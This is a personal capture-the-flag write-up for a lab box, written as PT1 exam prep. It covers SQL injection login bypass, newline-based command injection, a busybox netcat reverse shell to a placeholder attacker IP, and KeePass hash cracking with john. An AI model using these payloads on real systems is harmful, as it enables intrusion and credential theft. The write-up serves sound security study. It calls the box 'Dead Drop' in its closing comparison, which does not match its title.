☼
⌃
☰

Silent Monitor CTF

Table of Contents

Description

PT1 prep CTF completed at work — less involved than Domino, single linear attack chain rather than multiple parallel vulnerability classes. No live notes taken during the attempt; writeup reconstructed from memory post-completion.

CTF

Attack chain summary

  1. Enumeration — standard nmap/directory discovery, located login page
  2. SQL injection on login form — authentication bypass
  3. Command injection — used post-auth access to achieve remote shell
  4. Found credentials for a low-privileged user on the box — SSH access
  5. User flag captured
  6. KeePass database found in that user's backups
  7. Cracked KeePass master password with keepass2john + john
  8. Root credentials recovered from inside the KeePass DB
  9. su to root using recovered credentials — root flag captured

Foothold

SQL injection — login bypass

Payload used in login form:

SQL
' or 1=1; --

Classic auth bypass — injected into (likely) username field, comment sequence (--) truncates rest of query so password check never evaluates. TODO: confirm exact field and whether space after -- was required by the DB engine in use.

Command injection — remote shell

Vulnerable endpoint: health check (likely /health or similar, probably wrapping a system ping command server-side)

Technique:

  • Endpoint accepts a host/IP parameter and shells out to system ping
  • Separating commands with a newline in Burp (rather than typical ; or && chaining) bypassed input validation/sanitisation and achieved command injection
  • TODO: capture exact request/parameter name and payload structure on retest — newline-based injection is a less common technique worth having precisely documented

Shell obtained via BusyBox netcat already present on target:

SHELL
# on attack machine
nc -lvnp <PORT>

# injected via health endpoint (newline-separated)
busybox nc <ATTACKER_IP> <PORT> -e /bin/sh

Privilege Escalation

Credential discovery

Low-priv user creds found on box post-shell (location/method TBD — config file, script, history file, etc. — needs reconstruction)

KeePass database cracking

SHELL
keepass2john backup.kdbx > keepass.hash
john --wordlist=/usr/share/wordlists/rockyou.txt keepass.hash

DB opened with cracked password, root creds found inside as stored entry

Root access

SHELL
su - root
# authenticated with credentials recovered from KeePass DB

Flags

DONE User flag

DONE Root flag

Notes

Reconstructed writeup — payloads, exact endpoints, and file paths are approximate pending retest. If this room stays available, worth re-running once to capture precise commands/payloads for the KB before PT1 retake, since exact SQLi syntax and injection point are the details likely to matter for exam-style reporting.

Comparison to Domino CTF

Domino chains multiple independent access-control/API bugs (IDOR, JWT weaknesses, XSS) — closer to real-world web app testing. Dead Drop is a single linear chain through classic vulnerability classes (SQLi -> command injection -> credential reuse -> offline cracking) — closer to a "fundamentals refresher" than API-specific practice.